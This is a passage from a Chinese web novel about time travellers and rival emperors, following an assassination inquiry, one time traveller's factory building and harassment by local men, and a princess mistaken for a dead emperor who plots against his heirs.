自己要是真提拔上蔡李氏,那上蔡李氏想要的就更多了,被别人知道了这件事情就很容易猜到上蔡李氏和他之前有一些龌龊的交易。 这就是实打实的“赔了夫人”。 当时知道这件事的人不会在谢珖活着的时候把这事情说出去。 现在谢珖虽然死了,但是也没死几年。 他们本来想要把握着这个秘密,等着死后悄悄写一本什么书,当成野史放出来,也不枉他们听过这个八卦了。 至于谢珖本人的意愿…… 那个时候他都死了,谢珖也死了,谢珖能拿他怎么办? 而且他们还是世家。 在这种毫无忠诚度的情况下,他们完全不介意吧谢珖的黑历史卖给谢吾德。 谢吾德忽然有点怀念林耀祖了。 这种瓜果然还是要有穿越者和他一起吃才好玩。 事情已经大致弄清了。 温特直接下线,让谢吾德重新回来。 温特本来还打算弄出点可以测试硝烟反应的试纸来。 就算李嗣喜拒不交代,那也可以从他家里直接搜出点什么,搜出来的东西挨个做硝烟反应。 虽然这不是什么“侦探思维”,但是现代刑侦不就是这个样子的吗? 只要能解决案子就是好事。 这些事情还真像温特说的,点破了之后并不怎么复杂。 找到了一根线之后,想要发掘真相,不过是扯扯绳子的事情。 虽然没有直接的关于地道的线索,但是可以猜到李嗣喜和谢兼贤的母亲实际上就是当初负责修建紫禁皇宫的世家。 他们当时的确有一些不该有的心思,只不过随着时间的流逝,他们还没到能够使用这个地道的程度就先没落了。 这件事情他们也没跟其他人说。 知道这件事情本身就是“怀璧其罪”,这种事情完全没办法拿来和人做交易,能用得上这种东西的人在知道了地道的存在之后第一个要杀的就是他们。 所以这个秘密就一直被封存了下来。 直到这家的后人生下了大皇子,才终于有了用武之地。 她恐怕不仅告诉了大皇子,还告诉了李嗣喜,可能本来的目的是希望兄弟相互扶持。 当初那位夫人离开的时候,李嗣喜已经能记得自己母亲了,他成年之后有心完全能和自己的母亲相见。 李嗣喜肯定知道更多的事情,可是看起来并没有详细交代的意思。 他被安定侯揭穿了身份,就瞬间因为愤怒红了脸。他对谢吾德大喊道:“你有本事就杀了我!” 李真在一旁俨然一副谢吾德的狗腿模样,好像只要谢吾德一声令下,就会上前杀死李嗣喜一样。 可是谢吾德并没有让他动手的意思。 谢吾德实在是不明白这些人的忠诚。 谢兼贤已经死了,李嗣喜就算再忠诚有什么用? 替谢兼贤守口如瓶,还能够让已经死掉的谢兼贤再活过来吗? 他就算说了,那些东西也不过是过期情报。 【我觉得他更像是想要为自己谋划吧?】温特说到,【什么母亲,同母异父的兄弟,那都太虚了。】 【他和谢兼贤关系好可能是因为母亲也是因为兄弟,但是本质上是通过母系血缘搞出的利益链条。他要是杀了你,那上蔡李氏大概就能重新发达了。】 谢吾德伸了一个懒腰,然后对其他人说道:“你们自己处理吧,现在太晚了,我要去睡觉了。” 他甚至都不愿意亲口给李嗣喜一个结局。 李嗣喜之前的勇气好像瞬间就被戳破了。 谢吾德揉着眼睛跟温特说:【什么叫重新?】 【哦,我刚刚看了一下资料,上蔡又姓李,其实是李斯的后代。】虽然这纯粹就是一个设定。 谢吾德猛回头。 他看着李嗣喜。 李嗣喜莫名其妙地打了一个哆嗦。 李真一看谢吾德的表情就知道谢吾德有主意了:“陛下,有何吩咐?” 【你现在让人再把他一刀两断已经有点晚了,太掉逼格了。】最后还是温特把人劝住了,【我也不推荐cos胡亥。】 谢吾德:“……”非常有说服力。 【是啊,cos胡亥还得把姐姐全都杀了。】 谢吾德打了个哈欠。 大家看看外面的天,现在已经完全黑下去了。 也的确该结束了。 本来是个皇帝祝寿的,结果居然变成了这种情况。 换个皇帝大概会勃然大怒,这可是自己的好日子。 也就是谢吾德评判标准不一样,不会因为今天是自己生日就生气. 林耀祖那边在过了几天之后才知道了关于谢吾德的事情。 林耀祖都惊呆了。 弹幕也在抱怨:【主播你忘了你还有一个系统,不是可以兑换出一个远程直播权限吗?你现在积分不是已经够了吗?为什么没有及时兑换?不然我们就可以看现场直播了!】 【我这不是想要攒着积分,一口气买最高清的吗?这样看才最带劲。谁知道会发生这种事情。】林耀祖虽然自己嘴硬,但是她也是后悔不已。 听说当时谢吾德都被炸上天了,这是多么精彩的一幕。 虽然大家对炸弹能够炸死谢吾德的这件事情不抱有任何期望,但是有些事情只要发生了就很有趣了。 那可是被炸上天的谢吾德。 再重复一遍,那可是被炸上天的谢吾德。 她怎么可以就这么错过呢? 林耀祖基本上是为了自己错过了这样的乐子而愤怒,但是她看看周围的那些工人,发现他们就是纯粹地在生气,看上去比尔雅和林耀祖都要愤怒。 他们说:“这群家伙怎么敢刺杀陛下!” “听说不是有满门抄斩吗?就该把那家伙的全家都给杀了。” “他们有考虑过真要刺杀成功了我们吃什么喝什么?” “那群世家什么时候在乎过我们普通人?” “不过陛下怎么会是能被他们请一次啥成功的?”要我看,陛下就是天上天神下凡,来拯救我们的。” “是啊,幸亏陛下不是凡人,才能躲避灾厄。” 林耀祖看着这群愤愤不平的人,忽然感觉自己如果现在振臂一呼,说不定有人会愿意和他们一起冲到京城,把试图刺杀谢吾德的人给撕成碎片。 这就是民心吗? 但是总感觉这群人越说越狂热。 林耀祖忽然想起了历史上在谢吾德离开之后发生的种种事情。 一些虔诚的相信谢吾德会回来的人觉得是自己不够虔诚,杀死了自己的孩子作为人牲献给谢吾德的雕像,然后是亲人、朋友,最后是路过的行人。 在谢萍死后,这个问题再度加剧,混乱和荒诞从民间蔓延到朝堂。 对谢吾德的信仰是有毒的。 谢吾德随手给他们施舍的一点东西在他们的脑海里长出来狂信的树,他们把谢吾德看作是这个世界上最重要的人,他们永远相信谢吾德会回来拯救他们,但是谢吾德只把他们当做用过就可以丢掉的玩具。 不过林耀祖现在能做的只有自己手头上的事情。 尔雅问过她:“如果有一天谢吾德离开了,那么这好不容易太平的天下,又要以什么为食?” 听到这句话之后林耀祖的话匣子就打开了。 她从系统里兑换了一些简单的图纸,便和尔雅提到:“我们来建工厂吗?” 南荣的商贸发达,每年不只是国内的生意好,国外的生意做的也算是风生水起。用丝绸布匹换来香料之类的东西。 所以林耀祖的目标一个是布匹,一个是航船。 通过布匹能够换来资源,通过远洋航船能够抵御外来者的侵略。 她并没有搞殖民地的想法,但是“开门,自由贸易”总得有吧? 第96章 尔雅从善如流,当场就同意了。 在林耀祖和尔雅离开之前,尔雅还特意和谢吾德要了一大笔钱。 当时看得林耀祖那叫一个心惊胆战,谢吾德有点抠门,经常会莫名其妙借鉴一下。 但是这笔钱最后确实是顺利地到了尔雅的手中,全都是金银这种贵金属。 在林耀祖问起这件事情的时候,尔雅随口道:“他抠门也不过是他没有多强的金钱概念。你真跟他要了一大笔钱的话,他反而会丧失判断力,顺手就给你了。邱将军就是太没有跟谢吾德要钱的技巧了,跟他要钱就要跟他要一大笔,他给人这么多钱反而会期待跟他要钱的人能搞出多少幺蛾子。” 林耀祖都有点想要为邱腾这个老实人抹一把泪了。 尔雅帮林耀祖招收的这些工人,也都是用这些金银雇过来的。 他们不需要粮食,只想要点这种珍贵的东西,到时候就算有了什么风险,也可以拿这些换钱。 而且家里有老母亲和妻女的都可以拿这些东西打成个镯子当成礼物或者是嫁妆,也有带着孩子的寡妇来找个能尽量让她稳定干下去 弹幕也在给林耀祖一些发展的方向。 他们以弹幕的形式很难把图纸发过去,但是告诉林耀祖具体怎么发展,那就已经很好了。 面对一些很难搞到的原材料,那些弹幕还建议林耀祖去找谢吾德问一问。 林耀祖着实是无奈。 虽然谢吾德是一头卷毛,有一头自来卷,但是不能把他真当绵羊薅啊。 更不能把他当成什么许愿机用,以史为鉴,被谢吾德当成最后救赎的人大多都没有什么好下场。 总之,虽然整个过程磕磕绊绊的,但是还是成功地走上了正轨。 林耀祖忙得脚后跟都要打屁股了。 本来因为怀疑琅琊王氏说的一些话不像是这个时代的土著能说的,怀疑他们身后很有可能有另外一个穿越者,她本来想要把那个穿越者也揪出来过来帮忙的。 可是她试探着和尔雅提了一嘴,尔雅立刻就拒绝了,别说行事风格缜密的尔雅,就连弹幕也不太赞成。 绝大多数看了林耀祖直播的观众抗拒这件事情最大的原因是不希望林耀祖失去穿越张这个特殊性。 他们看林耀祖就像是在代入自己一样,他们不希望林耀祖这个主角失去自己的主角光环。 那是老乡吗? 那分明就是竞争对手。他们还是很有敌对意识的。 至于尔雅拒绝的理由,则是她觉得那个人大概已经彻底被琅琊王氏掌控了,而且对方不知底细,相处起来也更麻烦。 林耀祖就挺好的。 所以林耀祖就成了这个时代和未来沟通的重要渠道。 有时候夜深人静睁开眼睛的时候,林耀祖都怀疑自己其实是尔雅的金手指吧。 林耀祖到现在都没有问尔雅,她究竟知不知道自己也是个穿越者,她其实不是她的朋友,但是每当她想问这个问题的时候,都会被尔雅用“我们之间的关系还用多言”这种话给挡回去了。 都是姐们儿,那还说什么? 尔雅的态度看上去又很诚恳,林耀祖也不好意思多说些什么。 如果谢吾德在这里的话,他大概会吐槽一句:“这就像是两个人同床共枕了好几天,然后在某一天晚上转头问‘我们现在是什么关系?’” 总感觉现在问这种话有点晚了。 林耀祖喝了一口茶,不是品茶,而是当成提神的药一口灌下去了。 每当这种时候,她都无比羡慕谢吾德平时那种那么摆烂,而且还有不知道是什么东西的存在帮他批奏折。 如果她有这样的能力,那该有多好。 林耀祖今天得和别人去沟通一些刚才的收工事宜,但是在出门的时候,弹幕就有人提醒她说要小心,这次的人可能不怀好意。 林耀祖叹了一口气,这算是意料之中的事情。 自从她离开锦京开始做事之后,就有很多双眼睛盯上了她。 那些人想方设法想要让她成为他们的“助力”。而对于这个时代的男性来说,让一个女性成为他们的助力最快的做法就是下三路的方法。 这年代女子贞洁实在是太过重要了。 有些招数真的是防不胜防。 如果不是有许多关注林耀祖就是这方面的从业人员,包括警察之类的角色,那她可能已经中过招了。 林耀祖让充作她保镖的锦衣卫不要打草惊蛇,等他们动手了的时候再动手。 这群锦衣卫刀枪不入,是保镖的最佳人选。 林耀祖从最开始的惊慌失措,到现在的平静无波也没有花多少时间。 只能说封建社会真的是锻炼人。 当事情发生一次的时候,那会成为她的心理阴影,让她怀疑是不是自己有问题,是不是自己的运气不好。 但在一个月内发生了三四次严重的问题,普通的问题也发生了七八次的时候,那种如同老鼠啃食木头一样窸窸窣窣的念叨更是数不胜数的时候,林耀祖对这件事情就变得麻木了。 她怎么可能有问题,有问题的绝对是这群家伙。 她不再怀疑自己,而是怀疑这群试图对她动手的人是不是脑子有病. 果然。 林耀祖直播间的观众只要严肃提醒她,那事情十有八九就是真的。 林耀祖看着被锦衣卫控制住的男人,她抬起腿狠狠地就来了一记蛋壳破裂脚。 男人先是一僵,然后痛苦地把自己缩成如同虾子的样子,整张脸都是红的,张大嘴巴从喉咙里发出哀嚎。 锦衣卫虽然也会幻痛一瞬,但是更多的都是幸灾乐祸。 林耀祖对这些人的哀嚎充耳不闻。 她抠了抠耳朵,她只想说,他们大家都说谢吾德是个疯子,精神不正常,但是林耀祖觉得在这个时间点里,除了尔雅之外,她也就觉得待在谢吾德身边是最舒服的。 谢吾德虽然做事离谱,但是他只是把自己想到的事情都做出来,而他想到的事情其实也并没有超过一个正常人的阴暗面。 而林耀祖这次遇到的这些人真的是恶心到突破林耀祖想象力的极限。 弹幕也在滚动: 【主播的脾气是不是越来越暴躁了?】 【任谁遇到了这样的事都很难不脾气暴躁吧?】 【他们脑子是怎么想的?要是我遇到了这种事情怎么可能帮他们,不把他们撕了都算我包子性格。】 【现代人思维和古代人果然是有壁的。】 【但是他们都失败了这么多次还要这么做的,总感觉不太聪明。】 【还能为什么,瞧不起人嘛。】 林耀祖看着那个人用一种阴狠的眼神看着她,,她冷酷地说一句:“哭什么哭,你信不信,你要是落到陛下手上,你只会更惨。” 林耀祖让锦衣卫把这个人拖出去,在大街上转一圈,让他好好地丢丢脸。 她之前觉得自己做的已经很过分了,可是现在她觉得自己认为的过分根本就没办法震慑人心,一个个都没把她当成一回事。 这人还嘀咕些什么她以后的夫家怎么看她,她年纪这么大了他只是在帮帮忙之类的话。 林耀祖啧了一声。 她又不打算在这个时代过一辈子,不大开杀戒肆意妄为是因为她不能吗? 系统里可是有兑换热武器的选项。 她不这么干不是因为有直播中的人的监督,她真想杀人有办法把事情做成“自卫反击”,而且法律也很难覆盖到穿越了的她。 她不去做只是因为她是个正常人。 她是个活在现代社会的人,为什么要在意这群在她的时代都变成碎骨头的老古董的话。 那简直是对她的侮辱。 在听到林耀祖的话之后,那个人瞪大了眼睛。 他对林耀祖喊道:“你比他还要恶毒啊!” 这是要他名誉扫地。 他不敢对谢吾德指名道姓,只敢含糊地说一句“他”。 林耀祖对此嗤笑一声,说道:“如果是他的话,那他非得把你那二两肉扯下来。” 别说是那个男人了,就连锦衣卫听得也有点疼。 他们虽然是太监,但是是只切蛋不切根的。 林耀祖的形容听着有点疼。 在其他锦衣卫把人拖出去之后,有一个十五六岁的锦衣卫凑过来,跟林耀祖说:“陛下不会这么做的,他会嫌脏。” 林耀祖拍了拍他,小声对他说道:“在这种事情上就不要这么较真了。” 过了两秒钟,她再次凑过去:“这事你也别和陛下说。”总感觉她连带着告密人会挨打的。 那个男人被哀嚎着拖到了街上。 前面被林耀祖踹得疼,后面被锦衣卫拖得疼。 在这个不大的小县城中,有许多人探出了脑袋,看着这个人的惨状。 虽然很多人都觉得林耀祖做得有点过分,但是他们对于这个被打在地上的男人更没有什么好感。 一边用下三路的手段,一边还没有成功。 屁都不是。 很多人都是慕强的,而败犬是不怎么会被他们同情的。 尔雅快手称快:“对,就是这样,要让他们知道你的厉害,这样的才能震慑住其他人的鬼蜮伎俩。” 她最不满意的大概就是林耀祖不想杀人了。 不过林耀祖这样也挺好的,留一个不杀人的人在身边会让人放心许多。 “织布机已经做出了图纸了,走,和我一起看看新织的布的样子。”尔雅笑着看着林耀祖,对好像背景音一样的嘈杂人声充耳不闻. 萧国的都城最近安静了许多,没有刺杀再次发生,这让他们的城市已经重新解封了。 萧国可不能一直锁住自己的都城,不仅是因为封着都城就会让商贸不顺,还因为一直锁着都城就好像示弱了一样。 这段时间萧国内部可是杀了不少人,未弊找了一个长得不高的尸体,毁了他的脸,把他做成了替罪羊。 一般人很难相信未弊这样一脸正气的家伙能做出这样的事情,他看上去像是很瞧不起这样的小手段的样子。 但是未弊一直都很擅长发挥自己长相上的优势。 萧国皇帝最可惜的大概就是那个所谓的刺客并不是被荣国控制的太上皇。 这和他想的完全不一样。 他觉得自己猜得没有错,怎么可能不是呢? 儿子对父亲的猜测怎么能错呢? 不过他依然按照之前说的那样,给未弊加官,之前未弊组成的护卫也被他留下来了。 一时之间,未弊风头无两。 第97章 已经和未弊联系上的邱腾派出来的人马已经分成了几队。 他们装作普通的人,被未弊招揽,组成了未弊手中的一个小队。 这支小队排不上什么用场,但是主要是为了里应外合,在真正重要的时候派上用场。 未弊没有直接抓到刺客,但是他可以控制刺客的出现与否,所以他只要随便找一个人顶罪,就能够在萧国皇帝面前解决这件事。 不过萧国皇帝其实也没有失落的必要,因为有一具被缝合的尸体已经悄无声息地来到了萧国。 被谢萍控制的缝合怪之前都是被用来吓唬萧国的军队,但是随着萧国的大军的北上撤退,这个萧国先帝的的尸体逐渐靠近了萧国的都城。 谢萍没有直接继续骚扰萧国大军,她想起了萧国都城的谢瑛,她要去找谢瑛。 这个东西虽然没有隐身功能,但是他可以在谢萍视线范围内进行移动是,而且还可以瞬间被收回去,谢萍就凭借着这个能力,一点点进入了萧国皇宫中。 谁也不会在意皇宫中一闪而过的影子。 就算有人看见了,也没有人会有上来探查的打算。 又不是在拍恐怖片,绝大多数人在看到这个诡异的东西不是转身就跑就是装作若无其事地走掉。 正巧的是,谢瑛现在其实也在萧国的皇宫。 她现在偶尔会给那些被困在萧国皇宫的一些人送点东西。 谁也没有跟荣国皇室说未弊他们打算的意思。 荣国皇室的胆量已经让他们忠心耿耿的臣子都不想评价了,想要成事就得把他们撇开去做事。 谢萍做的就是每天给他们送一点吃的,让他们补充一点能量,在把他们带出去的时候最好可以不拖后腿。 谢萍在送完之后就打算走了,她却不知道的是,萧国的皇帝离她也就不过三四百米的距离。 一般来说,萧国皇帝是不会靠近这里的,他只是随便地在附近的花园里闲逛。 在他被打脸之后,他觉得他心情有点不平,总想要溜达溜达。 谁说刺客只有一个呢?说不定有好几个人。 说不定萧国的先帝的确在。 就在他这么想的时候,萧国皇帝忽然注意到前面有一道一闪而过的影子。 萧国皇帝只觉得自己脑海中某些已经快要遗失的记忆重新被触动了。 虽然总感觉他身上有一些地方不对劲,但是他直觉觉得,这的确是他的父亲。 萧国皇帝有点激动地跑了过去,还没忘记问自己身边的侍卫:“你们有没有看到那边的影子?” 侍卫看着皇帝说道:“陛下,我们还是建议您不要过去。” 萧国皇帝却置若罔闻。 谢萍也听到了后面的动静,她第一时间就隐藏了起来。她是来找谢瑛的,不是来制造混乱的,她担心制造混乱之后会给谢瑛添麻烦。 萧国皇帝凭借着自己的直觉,走到了某一个位置。 然而那里什么动静都没有,只有月下已经干枯的树枝微微晃动的声音。 在谢萍隐身的时候她看不见周围的东西。 这是谢吾德没有贴心设置导致的。 他没有做这些东西的经验,没开用户体验。 在谢萍觉得时间差不多了,外面的人应该走掉之后,她重新显露身影,却正好和一个有一些眼熟的中年男人对上了眼睛。 谢萍瞪大了眼睛,惊恐地向后退去,然后凭借着自己操控的这个缝合怪的体能优势,很快就飘远了。 中年男人伸出手,想要抓住这个缝合怪,但是谢萍直接小时了。 “今晚不能再操控了。”谢萍退出操控,擦了一把汗。 谢萍消失的地方是一个草丛。 萧国皇帝一直都是一个性格有点莽的人,他只要认定了就会往那边去看,所以他猛地冲到了草坪,却和一个小姑娘面面相觑——那正是谢瑛。 谢瑛袖子里还藏着自己的匕首,对面出手太快了,她根本没来得及印象。 谢萍万万没想到,自己居然把自己的姑姑给坑了。 毕竟她也不会想到自己消失的草堆后面就是谢瑛. 谢瑛把眼睛转向萧国的皇帝,一时间不知道该做出什么反应。 “你是谁?”萧国皇帝在看到这个小姑娘之后一愣,然后觉得她也不是很眼熟的样子。 他好像没有见过这个孩子。 这个年龄的孩子好像也当不了宫女。 他看向身边的侍卫,侍卫看了看这个小姑娘,然后说道:“陛下,这可能是荣国的哪个公主吧。” 萧国皇帝听到这句话之后,立刻露出了嫌弃的表情。 荣国的皇室已经够丢人了,和他们接触有点跌份。 萧国的皇帝本来打算直接离开,但是他却对上了谢瑛那双有些冷淡的眼睛。 那双眼睛实在是不像一个孩子。 萧国的皇帝倒吸了一口气,然后好像下定了什么决心,他和谢瑛对视,然后问了一句:“父皇,你在这个孩子的身体里吗?” 因为荣国的皇帝侮辱他,所以他就占据了荣国皇室的成员的身体用来侮辱荣国的皇帝对吧? 谢瑛满脑子的问号。 萧国皇帝的侍卫也满脑子问号。 萧国皇帝的侍卫只想尖叫着大喊一句:丞相!丞相!丞相你在哪里?丞相快过来呀!陛下他疑似又在发疯了!”. 当未弊把这件事情和未老爷子说的时候,未老爷子沉默了。 他只觉得人活着,果然什么都能够见得到。 他年轻的时候也没有想过,北荣的皇帝和皇室连带着一众宗室贵胄能够被萧国收拾成这个样子。 当年要是谁敢说这种话,都是要被人狠狠暴打,要是被官员听到了,说不定头都会从脖子上掉下来。 但是北荣就是这么莫名其妙的没了,而南荣的皇帝做的种种事情,其实也是实在让人难以平复。 现在萧国的先帝还附身在一个小女孩的身上? 就算这个小女孩再怎么突出,她也不是萧国的先帝呀。 这种离谱的事情怎么能发生呢? 未老爷子挠破脑袋都想不明白。 这个世界是偷偷吃了毒蘑菇没喊他一起吃吗? 他怎么感觉自己好像不认识这个世界了。 不过震惊归震惊,在震惊过后,未老爷子首先考虑的是萧国皇帝这么做是不是有他自己的道理啊? 他想着想着,居然还真的想出点门道。 他比如萧国皇帝想要通过先帝的重现,来为他的所有政策找一个背书。 “先帝”就是他最好的证明。 人死为大,死皇帝更大。 萧国深受荣国的影响,所以他们也多少相信“孝感动天”的说法。 未老爷子相信萧国皇帝没那么简单——北荣不应该被一个废物皇帝给收拾了。 但是未弊却对萧国皇帝没有什么滤镜。 从他记事能够判断是非对错开始,他就觉得萧国的皇帝不是什么正常人。 都说荣国皇帝脑子不正常,但是他觉得这是别人对荣国皇帝的污蔑。 “你见过殿下了吗?”未老爷子问道。 未弊摇摇头:“匕首在殿下手中,殿下现在被一群人围着,我没有机会去见他。” 谢瑛现在的确可以直接消失,但是未弊也觉得她直接消失有点可惜,所以他更希望谢瑛可以静观其变。 她没有办法直接杀死萧国皇帝,萧国皇帝满脸惊喜,但是却并没有靠近她,谢瑛没有直接消失然后刺杀他的机会,她打算蛰伏着,然后等待着自己的机会。 “你有没有从旁敲击过萧国皇帝吗?”未老爷子还是又问道。 未弊总是回答的:“当然问过。不过萧国皇帝并没有回答我。” 萧国皇帝不觉得未弊心向荣国,但是关于先帝的时候不是他会向未弊说的事情。 未弊是从别的想要讨好他的人嘴里知道的这件事情。 说着说着,未弊叹了一口气:“我都不知道该怎么去面对邱将军和他手下的人了。” 他总担心他们会对他有一些别的想法。 未弊不太确定他们会怎么看他,但是和萧国皇帝掺合的太深,总会让他们疑心是不是有陷阱。 未弊真的没有和萧国皇帝勾结吗? 其实理由和萧国皇帝相信未弊的差不多。 萧国皇帝给未弊的太多了,而荣国没有给予未弊半点东西,正常人都会对萧国皇帝献上忠诚。 只有忠诚到脑子不正常的人才会选择荣国。 未弊自己知道自己,他相信自己是忠诚的,但是问题是别人怎么想。 这些前来萧国的手下基本都是邱腾的心腹,他们是赌上自己的性命过来的,再忠诚的人也不希望自己的性命就那么的被丢掉了。 “……哎,这样看来,我们只能指望殿下自己的手段了。”未老爷子最后还是无奈地说. 谢瑛面无表情地坐着,她什么都没有说,什么都没有解释,就算有人问她问题,她也只是安静地像是木偶一样坐在那里。 多说多错。 她以前没有那么好的演技,但是在谢萍死后,她总感觉自己的情绪好像有点不对劲,她看什么都好像有一种抽离感,她觉得自己不再像自己了。 不过这种抽离感也让她现在能够非常稳定的伪装起自己最真实的一面。 在萧国皇帝为她认定她是萧国的先帝的时候,一切言语和动作都是画蛇添足。 谁敢揭穿她呢? 那群人也只敢试探她,想要让自己心里有数,并不是真的打算揭穿她。 揭穿她能图什么? 图在皇帝面前显得聪明吗? 萧国皇帝是肯定不会觉得他们聪明的,他大概只想要给对方一巴掌让他清醒一下。 第98章 这件事情不是谢瑛主动去做的,是萧国皇帝一厢情愿这么认为的的。 不如说,因为她现在什么话都不说,才更让萧国的皇帝相信她的身份。 毕竟就算是亲爹,在儿子已经完全掌握大权的时候出现,儿子也会全身心地抗拒这个人。 反倒是谢瑛一副不言不语的样子才最是让萧国皇帝满意,不然真爹也得变假爹。 谢瑛没想那么多,也没人教她什么,她只是不知道该作出什么反应。 不要指望一个被囚禁的、甚至没有被封公主的公主能有什么超常的反应。 如果未弊在的话大概能帮她分析一点。 谢瑛其实很奇怪,为什么萧国方面会觉得她是他们的先帝啊? 怎么这个世界这么疯疯癫癫? 谢瑛觉得从谢萍死亡之后这个世界就没几件正常的事情。 人人的反应都超乎她的预料。 谢瑛让那些人都离开,她本来想要隐身混出去去找未弊。 就在殿中空无一人的时候,一个人出现了,那个人身形像是一个成年的男人,身上到处都是缝合线。 谢瑛被吓了一跳,但是那个男人退后一步,做出了让她安静的手势。 谢瑛能够从对方的身上感觉到对方其实没有攻击欲望,最近谢瑛大开杀戒,她觉得自己对这些东西的感觉还是很精准的。 那个缝合怪四处看了看,找到了纸和笔,用歪歪扭扭像是小孩子一样狗爬的字写下想说的话。 谢瑛就安静最好,在看到这一句话的时候,自己做呼吸,上面只有四个字:“我是谢萍。” 字很眼熟。 谢瑛是和谢萍一起学写字的,她们的老师就是之前死亡的大公主。 谢瑛咽了一口口水,她看着这个缝合的怪人,想要从开始上找到属于谢瑛的样子,但是什么都没找到。 “你怎么变成这个样子。” 那个缝合怪人并没有回答这个问题:“你现在是什么情况啊?” 谢萍也是满头雾水。 她本来还担心萧国皇帝派人蹲点,但是她再操控者缝合怪出现的时候半个人都没有。 她费劲找了半天才找到了一点线索。 如果不是知道谢瑛是谁,如果不是确定谢瑛不可能和萧国皇帝勾结,就这座上宾的架势任哪个荣国人看到了都得连退数步。 “我现在很好,我现在和陛下安排的宫女还有的史官正在进行南边建工厂。” “工厂是什么?”谢瑛好奇地问道,然后再问出这句话之后,她就要摇头,“算了。” 只要知道谢萍安全就好。 现在也不是聊这个的时候。 谢萍却说:“等着我们离开,我们一起去看看啊。” 谢瑛笑笑不说话。 等着? 她从来没想过那么长远的事情。 她之前做这一切是为了谢萍复仇,现在知道谢萍没有死,她并没有感觉轻松。 仇恨已经占据了她全部的生活。 她并没有活着的准备。 谢萍深深地叹了口气。 谢萍点了点头,然后她继续问道:“那之前我拜托陛下来看看你,你有看见陛下吗?” “陛下?”谢瑛愣了一下,“我还没有见过你说的陛下。” 谢萍立刻解释道:“是一个有着蓝色眼睛的男人,他的头发还有一点卷。” 谢瑛沉默了良久。 其实谢萍已经从她的沉默中感觉到了点什么——谢吾德很擅长让人无语。 谢瑛不说话,基本就证明她见过了谢吾德。 “陛下……” 谢瑛想起了自己之前见过的那人,然后她看了看自己手上的匕首。 她最开始怀疑谢吾德是西域来的人,后来怀疑他是故事中的妖魔鬼怪。 现在听说他是皇帝,谢瑛觉得这个世界是不是疯了。 谢吾德可以是西域怪人,也可以是妖魔鬼怪,但是他不应该是荣国皇帝。 荣国和萧国皇帝能有一个是正常的吗? 谢瑛想到了自己那个前皇帝爹,不说那个人的懦弱,平时他还是很能装的。 “他给了我一些东西,就是这个匕首,可以让我隐身。” 谢萍:“……” 她就知道谢吾德靠不住。 不过他能给谢瑛东西,也算是皇帝的恩赐了。 “你现在有什么主意吗?我总感觉这是一个很好的机会。”谢萍转移了话题。在这种时候继续聊谢吾德总是很奇怪。 就在谢瑛和谢萍说话的时候,谢萍操控的那个缝合怪忽然停住。 谢瑛觉得谢萍应该好像是在和其他人聊天。过了一会儿这个缝合怪重新动了起来。 “我把我刚刚和人交流过了,目前我们有一个计划。”谢萍刚刚是和尔雅交流过了。 她和谢瑛的能力都有限,所以她毫不客气地寻找外援的帮助。 “你说。” “在你杀死萧国皇帝之前,要不先考虑一下处理掉他的所有继承人?这样他死了之后,萧国十有八九要大乱。” 谢瑛歪着头,无比欣赏地看着自己这个侄女。 “通过什么办法?” “叫什么金丹大道……”谢萍回忆了一下,然后说出了这句话。 “哦。”谢瑛点了点头。 谢袆好像就搞过这些东西. 萧国丞相觉得萧国皇帝最近越发地不正常。 他觉得皇帝认定是先帝出现本来的目的想要打他的脸。 皇帝是想要从丞相手里拿回更多的权力。 萧国的丞相都是尽量退让的,这个国家的主人还是萧国的皇帝。 他对自己的身份看得很清楚,他是丞相,他要做的事情不是摄政,而且皇帝也不小了,他年纪也大了,这个国家是属于萧国皇帝的,自己站得太高不是一件好事。 这段时间他越发觉得自己力不从心了。 他这个刹车已经刹不住了,与其让危机从他和皇帝之间爆发,不如他还是先退了吧。 但是有些事情不是他能够决定的。 当他成为皇太子的老师,成为丞相,又在朝堂上掌握了那么久的话语权,这已经不是他想要放手就能够放手的。 他允许,其他人都不会允许。 很多人总是会更倾向于找他拿主意。 而且萧国丞相总是忍不住想要纠正一下萧国皇帝的错误。 就像是现在,他就觉得萧国皇帝做了一个很错误的决定。 他怎么看都没有从谢瑛的身上找到半点萧国先帝的影子。 然后最近,他又听到了萧国皇帝想要去钻研“金丹大道”。 萧国丞相听了都震惊了。 虽然萧国已经入主中原了,但还没有吞并天下,怎么先有中原皇帝的老毛病了。 这还不是普通的金丹大道,是要从萧国皇帝的那些皇子身上弄血来炼丹。 ……这实在是太容易死人了。 炼丹这种事情,大家都清楚。 荣国历史上有多少皇帝追求长生不老,但是就没有一个皇帝能够得到真正的长生,到最后也不过是幻梦一场。 而且用皇子的血来炼丹,总感觉这是什么邪恶的东西。 但是皇帝这种生物比任何一个人都更容易觉得自己是特殊的,普信男在他们面前都显得太自卑了。 萧国丞相有点慌:“这是那人提议陛下做的?陛下确定那是真的?” 萧国丞相不想承认这是先帝,但是也不想否认萧国皇帝的想法,所以他就说“那人”。 萧国皇帝听了萧国丞相的话:“我找道家的人问过,里面的很多东西并没有问题。” 这个丹方由尔雅通过谢萍给谢瑛的。 临川陈氏对各个学派都有所涉猎。 当初尔雅直接离家出走,也多少受到道家的影响。 她家里就有一个叔父出家当了道士,这些东西也是他给的。 尔雅只要稍微改动几下,就足够糊弄萧国皇帝了。 荣国嘲笑萧国没文化这其实也是事实。 萧国没荣国那么卷,尔雅足够糊弄他们了。 “陛下,这可能是荣国的阴谋。”萧国丞相终于是叹了一口气,把这句话给说出来了。 他也就是贱,控制不住自己说真话的嘴巴。 这天下又不是他的,他非得说这些话干什么? 丞相也不是完人,他有的时候就想看着皇帝能不能把自己作死。 可是他就是该死地放不下他那责任心。 相比起谢瑛是什么先帝,他更相信谢瑛是受到了荣国黄石的撺掇,来对皇帝下手。 而且单纯的下手还不满意,他们还想要对这些皇子下手。 萧国皇帝看着丞相,他的眼神带着一点厌烦。 果然,皇帝的手一挥:“丞相年纪大了,快点回家休息吧。” 然后侍卫便把丞相“请”出去了。 丞相铁青着脸,觉得在皇帝把自己作死之前,他可能会先被皇帝气死。 萧国皇帝只觉得自己为什么要听丞相的话呢? 他早就跟不上时代了。 现在一切多顺利,丹方得到了,“刺客”也消失了。 这就是所谓天命。 他已经消灭了北荣,所谓的南荣不过在苟延残喘,想要拿下也只不过是时间问题。 现在萧国的皇帝觉得荣国的皇帝精神不正常,是一个只会装神弄鬼的疯子。 这样的人怎么能管理好荣国呢。 萧国皇帝觉得和谢吾德比天命,谢吾德是比不过他的。 他可是从那些跑过来的荣国人那边听说荣国那边天空上出现批判荣国皇帝过失的东西,这足以证明谢吾德人憎狗厌到老天都看不下去的程度。 萧国大军遇到的东西只能获得一时的胜利,那虽然是大军,但是却不是萧国全部的兵力。 